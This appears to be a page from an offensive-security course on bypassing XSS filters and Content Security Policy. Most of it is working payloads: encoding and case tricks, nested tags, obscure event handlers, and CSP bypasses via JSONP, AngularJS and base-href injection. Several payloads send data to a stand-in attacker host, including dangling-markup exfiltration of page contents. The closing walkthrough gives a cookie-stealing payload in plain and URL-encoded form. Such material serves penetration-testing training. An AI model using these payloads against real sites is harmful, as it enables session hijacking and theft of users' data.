Filter Bypasses
When the obvious XSS payload is blocked, the answer is rarely “no XSS here” and usually “the filter doesn’t cover variant N.” Bypass categories: case juggling, character substitution, encoding (HTML/URL/Unicode), tag substitution, alternative event handlers, parentheses-free JS, and CSP bypass via on-origin gadgets.
# Filter blocks <script> tags<svg onload=alert(1)><img src=x onerror=alert(1)><sCrIpT>alert(1)</sCrIpT> # case<scr<script>ipt>alert(1)</scr</script>ipt> # nested replacement
# Filter blocks alert(alert`1` # tagged templateprompt(1) / confirm(1) # synonymswindow['ale'+'rt'](1) # bracket accesstop['al\x65rt'](1) # escape sequence in name
# Filter blocks specific characters%3Csvg%20onload%3Dalert(1)%3E # URL encoding<svg onload=alert(1)> # HTML encoding (depends on context)\u003csvg onload=alert(1)\u003e # Unicode escape (JS context)
# CSP blocks inline scripts<iframe srcdoc="<script>alert(1)</script>"> # iframe srcdoc inherits parent's CSP only sometimes<base href=//attacker/> # redirect relative scriptsSuccess indicator: the bypassed payload reaches the rendering context and JavaScript executes. The systematic methodology below maps the filter’s exact rules so the bypass is predictable, not lucky.
Filter discovery methodology
Section titled “Filter discovery methodology”Before bypassing, map what the filter actually blocks. Send a series of probes and observe response differences:
Step 1 - Test individual characters
Section titled “Step 1 - Test individual characters”# What character set survives encoding?for c in '<' '>' '"' "'" '(' ')' '`' '/' ';' '=' ' '; do encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$c'))") response=$(curl -s "http://target/page?q=test${encoded}canary") echo "$c: $(echo "$response" | grep -o "test.canary" | head -1)"doneOutput reveals which characters get escaped, encoded, or replaced:
<: test_canary # < replaced with _>: test_canary # > replaced with _": test"canary # " HTML-entity encoded': test'canary # ' HTML-entity encoded(: test(canary # ( survives unchanged): test)canary # ) survives unchanged`: test`canary # ` survives/: test/canary # / survives;: test;canary # ; survives=: test=canary # = survives : test canary # space survivesIn this case, < and > are stripped. Direct <script> injection is dead. But (, ), `, /, ;, = all survive - there may still be a payload class that doesn’t need angle brackets (e.g., already-injecting-into-an-attribute case).
Step 2 - Test specific patterns
Section titled “Step 2 - Test specific patterns”# What patterns get blocked beyond just chars?for payload in 'script' 'alert' 'onerror' 'onclick' 'javascript' 'svg' 'img' 'iframe'; do response=$(curl -s "http://target/page?q=test_${payload}_canary") echo "$payload: $(echo "$response" | grep -o "test.*canary" | head -1)"doneReveals keyword-based blocklists:
script: test__canary # "script" replaced with empty stringalert: test__canary # "alert" replacedonerror: test_onerror_canary # "onerror" survivesonclick: test__canary # "onclick" replacedjavascript: test_javascript_canary # survivessvg: test_svg_canary # survivesNow the filter shape is clear: it blocks script, alert, onclick, but allows onerror, javascript, svg. Build payloads from what survives.
Step 3 - Test the response context
Section titled “Step 3 - Test the response context”Repeat both probes for each page and parameter. Different parameters often use different filter rules - ?q= might pass <script> while ?type= strips it; ?email= might URL-encode while ?name= doesn’t.
Bypass category 1 - case manipulation
Section titled “Bypass category 1 - case manipulation”Most regex-based filters are case-sensitive by default:
<sCrIpT>alert(1)</sCrIpT><ScRiPt>alert(1)</ScRiPt><SVG ONLOAD=ALERT(1)>JAVASCRIPT:alert(1)HTML is case-insensitive - <ScRiPt> is just as valid as <script> from the browser’s perspective. A regex like /<script>/ doesn’t match <sCrIpT> unless it has the i flag.
In practice, most modern filters are case-insensitive. Test before relying on this. When it works, it’s the lowest-effort bypass.
Bypass category 2 - duplication / nested substitution
Section titled “Bypass category 2 - duplication / nested substitution”Filters that strip the matched pattern once are bypassed by nesting:
<scr<script>ipt>alert(1)</scr</script>ipt>After the filter strips the inner <script> and </script>:
<script>alert(1)</script>The filter saw the inner tag, removed it, the outer characters merged into a valid <script> block.
Variations:
<<script>script>alert(1)<</script>/script><a<a>lert(1)>Works when the filter does a single pass. Modern filters typically iterate to fixed point, defeating this. Worth testing.
Bypass category 3 - encoding
Section titled “Bypass category 3 - encoding”The browser decodes HTML entities, URL encoding, and Unicode escapes at different times in different contexts. The filter sees one form, the browser sees another.
HTML entities
Section titled “HTML entities”Inside HTML attributes (and sometimes elsewhere), HTML entities are decoded by the browser:
<a href="javascript:alert(1)">click</a> <!-- s = s; href becomes javascript:... --><a href="java	script:alert(1)">click</a> <!-- Tab entity inside scheme --><a href="java
script:alert(1)">click</a>The filter sees javascript: and concludes “not the javascript scheme.” Browser decodes the entity and sees javascript:.
Notable entities for XSS:
| Entity | Decoded | Use case |
|---|---|---|
	 / 	 | tab | Inserts whitespace mid-keyword |
/ 
 | newline | Same |
� | null byte | Bypasses some C-string filters |
< / < | < | Doesn’t help in HTML context (still HTML-decoded back to text), but in JS string contexts that interpret entities |
" | " | Same |
' | ' | Same |
URL encoding
Section titled “URL encoding”%3Csvg%20onload%3Dalert(1)%3E%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3EMost servers URL-decode at routing. The filter (if URL-decoding-aware) sees decoded content; otherwise it sees %3C literals. Many filters lag behind one decode step. Worth a try.
Double URL encoding
Section titled “Double URL encoding”%253Csvg%2520onload%253Dalert(1)%253E%25 = %. The server decodes once → %3Csvg%20...%3E. The decoded form is still URL-encoded. The filter scans and sees URL-encoded text, concludes “no payload.” The application decodes again at use time → <svg onload=...> → renders → XSS.
Works against filters that decode-then-scan but allow the final use to also decode.
Unicode escape (JS contexts only)
Section titled “Unicode escape (JS contexts only)”Inside JavaScript:
\u003cscript\u003ealert(1)\u003c/script\u003e\u003c is <. The filter scanning the URL parameter sees the literal \u003c chars; the JS parser decodes the escape.
For this to work, the payload must land in a JS context where escapes are processed (variable assignment, eval, string literal). Not HTML context.
Hex escape (JS string contexts)
Section titled “Hex escape (JS string contexts)”"\x3cscript\x3ealert(1)\x3c/script\x3e"Same logic as Unicode; \x for hex pairs. Slightly shorter than \u.
Bypass category 4 - alternative tags and event handlers
Section titled “Bypass category 4 - alternative tags and event handlers”When <script> is blocked, the universe of tags that fire JS is vast. Each adds a row to the filter’s blocklist; most filters don’t cover the long tail.
Tags that fire onload / onerror immediately
Section titled “Tags that fire onload / onerror immediately”<svg onload=alert(1)><body onload=alert(1)><img src=x onerror=alert(1)><video src=x onerror=alert(1)><audio src=x onerror=alert(1)><iframe srcdoc="<script>alert(1)</script>" onload=alert(1)><input autofocus onfocus=alert(1)><select autofocus onfocus=alert(1)><textarea autofocus onfocus=alert(1)><keygen autofocus onfocus=alert(1)><details open ontoggle=alert(1)><marquee onstart=alert(1)><meter value=0 onmouseover=alert(1)>Event handlers that aren’t onclick / onerror
Section titled “Event handlers that aren’t onclick / onerror”Many filters check for the well-known event names. The full list of HTML event handlers is much larger:
onafterprint onafterscriptexecute onanimationcancel onanimationendonanimationiteration onanimationstart onauxclick onbeforecopyonbeforecut onbeforeinput onbeforeprint onbeforescriptexecuteonbeforeunload onblur oncanplay oncanplaythrough onchangeonclick onclose oncontextmenu oncopy oncuechange oncutondblclick ondrag ondragend ondragenter ondragexit ondragleaveondragover ondragstart ondrop ondurationchange onemptied onendedonerror onfocus onfocusin onfocusout onformdata onfullscreenchangeonfullscreenerror ongesturechange ongestureend ongesturestartonhashchange oninput oninvalid onkeydown onkeypress onkeyuponload onloadeddata onloadedmetadata onloadend onloadstartonmessage onmousedown onmouseenter onmouseleave onmousemoveonmouseout onmouseover onmouseup onmousewheel onoffline ononlineonpagehide onpageshow onpaste onpause onplay onplayingonpointercancel onpointerdown onpointerenter onpointerleaveonpointermove onpointerout onpointerover onpointerrawupdateonpointerup onpopstate onprogress onratechange onresize onscrollonsearch onseeked onseeking onselect onselectionchange onselectstartonshow onslotchange onstalled onstorage onsubmit onsuspendontimeupdate ontoggle ontouchcancel ontouchend ontouchmoveontouchstart ontransitioncancel ontransitionend ontransitionrunontransitionstart onunhandledrejection onunload onvolumechangeonwaiting onwebkitanimationend onwebkitanimationiterationonwebkitanimationstart onwebkittransitionend onwheelWhen onclick and onerror are blocked, onpointerover, ontoggle, onfocusin are usually free. The newer / less-known event names slip through keyword filters.
Less-common firing patterns
Section titled “Less-common firing patterns”<form><button formaction=javascript:alert(1)>click</button></form><form action=javascript:alert(1)><button>click</button></form><a href=javascript:alert(1)>click</a><isindex action=javascript:alert(1) type=submit> <!-- legacy HTML4 -->Bypass category 5 - JavaScript-level bypass
Section titled “Bypass category 5 - JavaScript-level bypass”When the surrounding context is “your input ends up inside eval() or Function()” but specific characters are filtered:
Without parentheses
Section titled “Without parentheses”alert`1` // tagged template literal - alert is invoked with array of stringsonerror=alert;throw 1 // throw inside try-equivalent calls onerror; arg is what was thrownObject.defineProperty(top,'a',{get:alert});top.a // getter trickThe throw trick is particularly elegant - throw invokes whatever’s in window.onerror (or any onerror handler) with the thrown value as argument. If onerror=alert, throw 1 runs alert(1) without an explicit call.
Without quotes
Section titled “Without quotes”alert(/xss/.source) // regex literal - .source is the regex body as stringalert(String.fromCharCode(88,83,83)) // 88 = X, 83 = S, etc.alert(atob('WFNT')) // base64-decodedWithout specific keywords
Section titled “Without specific keywords”When alert is filtered, the synonyms:
prompt(1)confirm(1)window['ale' + 'rt'](1) // string concatenationtop['ale' + 'rt'](1)parent['ale' + 'rt'](1)[].constructor.constructor('alert(1)')() // Function constructor via [].constructor({}).constructor.constructor('alert(1)')() // sameWithout alert at all
Section titled “Without alert at all”The point of XSS isn’t alert - it’s executing arbitrary JS. Any function that does observable work proves XSS:
fetch('//attacker:8000/?xss') // GET to attackerdocument.title='XSS' // changes page titlelocation='//attacker' // navigates page (loud but clear)console.log('XSS') // doesn't prove it to a victim but proves to operatorMost “alert is blocked” filters don’t block fetch or location. Use what isn’t blocked.
Bypass category 6 - quote-free / space-free
Section titled “Bypass category 6 - quote-free / space-free”Sometimes attribute breakouts can’t use spaces or quotes (filter strips them):
<!-- Need to fire onerror without space between attribute and value --><img/src=x/onerror=alert(1)> <!-- slash works as attribute separator --><img%09src=x%09onerror=alert(1)> <!-- tab --><img%0Asrc=x%0Aonerror=alert(1)> <!-- newline --><img%0Csrc=x%0Conerror=alert(1)> <!-- form feed -->Without quotes:
<img src=x onerror=alert(1)> <!-- already quote-free for simple cases --><svg onload=alert(1)><a href=javascript:alert(1)> <!-- unquoted href value -->CSP bypass
Section titled “CSP bypass”Content Security Policy is the modern XSS countermeasure. A page with strict CSP blocks inline scripts and event handlers. Most XSS payloads stop working. Bypass strategies depend on the policy.
CSP policy variants
Section titled “CSP policy variants”Read the Content-Security-Policy header to know what you’re up against:
Content-Security-Policy: default-src 'self'; script-src 'self'Means: scripts can only come from same-origin URLs (<script src="/file.js">). Inline <script>alert(1)</script> blocked. Event handlers blocked. eval blocked.
Content-Security-Policy: script-src 'self' 'unsafe-inline''unsafe-inline' allows inline scripts. CSP is decorative; XSS works normally.
Content-Security-Policy: script-src 'self' 'unsafe-eval'Inline blocked but eval, setTimeout(string), Function(...) allowed. DOM XSS via eval still works.
Content-Security-Policy: script-src 'self' 'strict-dynamic' 'nonce-abc123'strict-dynamic allows scripts loaded by 'self' scripts to load further scripts. Inline blocked unless they have nonce-abc123. If you can read the nonce from elsewhere on the page, include it in your script tag.
CSP bypass - JSONP gadget
Section titled “CSP bypass - JSONP gadget”If the page’s origin hosts a JSONP endpoint:
https://target/api/jsonp?callback=alertThis returns alert(...) which is valid JS. If CSP allows scripts from 'self', then:
<script src="/api/jsonp?callback=alert(document.domain)//"></script>The script loads from same-origin (CSP allowed), but its content is attacker-controlled because the callback parameter is reflected.
Search the target’s origin for JSONP endpoints: ?callback=, ?cb=, ?jsonp= parameters that return executable JS.
CSP bypass - Angular templates
Section titled “CSP bypass - Angular templates”If the page loads AngularJS (any version 1.x) from same-origin and a CSP allows 'self' scripts:
<div ng-app ng-csp> {{constructor.constructor('alert(1)')()}}</div>Angular’s template evaluator executes {{...}} even when CSP blocks JS. The constructor.constructor chain reaches the Function constructor through Object’s prototype chain.
The pattern works whenever angular is loaded and the injection lands in HTML context.
CSP bypass - <base href> injection
Section titled “CSP bypass - <base href> injection”If CSP allows scripts from 'self' and the page loads scripts via relative URLs:
<script src="/static/app.js"></script>Inject a <base> tag earlier in the document:
<base href="//attacker.com/">Relative URLs now resolve against attacker.com. The page’s <script src="/static/app.js"> becomes <script src="//attacker.com/static/app.js">. Attacker controls the script content.
CSP 'self' matches by origin at the time of resource fetch, after <base> is applied - so attacker.com/static/app.js doesn’t match 'self'. But some CSP implementations check <base> before applying it, so the bypass still works in those cases.
CSP bypass - dangling markup injection
Section titled “CSP bypass - dangling markup injection”When CSP blocks JS execution but allows CSS / image loading:
<img src="//attacker.com/?data=The unclosed <img> tag captures everything that follows on the page until the next quote. The image URL becomes //attacker.com/?data=<rest of page> - exfiltrates DOM contents to attacker.
Doesn’t execute JS but extracts data. Useful in CSP-locked environments where the goal is data theft, not arbitrary code.
CSP nonce reuse
Section titled “CSP nonce reuse”When CSP uses nonce-XXX, every <script> tag must include nonce="XXX". If you can inject a <script> with the nonce, it executes:
<script nonce="XXX">alert(1)</script>But where do you get the nonce? Sometimes it’s in the page already (e.g., a <script nonce="XXX"> already in the HTML). Read it via DOM, reuse it. Specifically:
// In an injected event handler:document.body.appendChild(Object.assign(document.createElement('script'), { nonce: document.querySelector('script[nonce]').nonce, textContent: 'alert(1)'}));Of course, this requires JS execution to begin with - chicken-and-egg unless you have a non-script-tag XSS (e.g., a permitted event handler somewhere).
A worked walkthrough - bypassing a layered filter
Section titled “A worked walkthrough - bypassing a layered filter”Target: ?q= parameter, reflected into HTML body. Filter regime: blocks script, alert, <svg, onerror, but allows onclick.
Round 1 - Confirm filter rules
Section titled “Round 1 - Confirm filter rules”Probe each:
?q=test<svg test → test_test (svg blocked)?q=test<svg test → test test (no change)?q=test alert test → test test (alert blocked)?q=test onerror test → test test (onerror blocked)?q=test onclick test → test onclick test (onclick survives)?q=test<img test → test<img test (img survives)?q=test prompt test → test prompt test (prompt survives)Round 2 - Build from what survives
Section titled “Round 2 - Build from what survives”<img> survives, onerror doesn’t, but onclick does. Try:
?q=<img src=x onclick=prompt(1)>Result:
<div><img src=x onclick=prompt(1)></div>XSS via click. Drawback: needs user interaction. To make it auto-fire, try other event handlers in the survives-the-filter set:
?q=test ontoggle test → test ontoggle test (survives)?q=test onpointerover test → test onpointerover testontoggle survives. Pair with <details>:
?q=<details open ontoggle=prompt(1)>Auto-fires on <details> element being open. Result: XSS, no user interaction needed.
Round 3 - Make the impact real
Section titled “Round 3 - Make the impact real”The proof-of-concept is prompt(1). For actual session theft:
?q=<details open ontoggle="new Image().src='http://attacker:8000/?c='+btoa(document.cookie)">URL-encoded for clean delivery:
?q=%3Cdetails%20open%20ontoggle%3D%22new%20Image().src%3D%27http%3A%2F%2Fattacker%3A8000%2F%3Fc%3D%27%2Bbtoa(document.cookie)%22%3ESuccessful filter bypass with practical impact.
Quick reference
Section titled “Quick reference”| Bypass | Pattern |
|---|---|
| Case juggling | <sCrIpT>, OnClIcK, JaVaScRiPt: |
| Nested replacement | <scr<script>ipt>...</scr</script>ipt> |
| HTML entity in URL scheme | java	script:alert(1) |
| HTML entity in keyword | <a href="javascript:alert(1)"> |
| URL encoding | %3Csvg%20onload%3Dalert(1)%3E |
| Double URL encoding | %253Csvg%2520onload%253Dalert(1)%253E |
| Unicode escape in JS | \u003cscript\u003e |
| Hex escape in JS string | "\x3cscript\x3e" |
| Alternative auto-firing tag | <svg onload=>, <details open ontoggle=>, <input autofocus onfocus=> |
| Less-known event | ontoggle, onfocusin, onpointerover, onbeforeinput |
| Alert synonyms | prompt(1), confirm(1), window['ale'+'rt'](1) |
| No parens | alert`1` , onerror=alert;throw 1 |
| No quotes | alert(/xss/.source), alert(String.fromCharCode(88)) |
| No spaces | <img/src=x/onerror=alert(1)>, <img%09src=x%09onerror=> |
CSP 'unsafe-inline' | Just use inline scripts; CSP doesn’t help |
CSP 'unsafe-eval' | Use eval(...), setTimeout("..."), Function(...) |
CSP 'strict-dynamic' | Need nonce or hash; check page for existing nonces |
CSP 'self' + JSONP | <script src="/api/jsonp?callback=alert(1)//"> |
| CSP + Angular | {{constructor.constructor('alert(1)')()}} |
| CSP + base href | <base href="//attacker/"> |
| Filter discovery probe | Loop characters, observe encoding; loop keywords, observe replacement |
| Confirm filter is single-pass | Try <scr<script>ipt> |
For applying these against admin-targeted blind XSS scenarios, see Blind XSS. For the capstone chain that combines multiple bypasses with stored XSS and CSRF, see Skill assessment chain.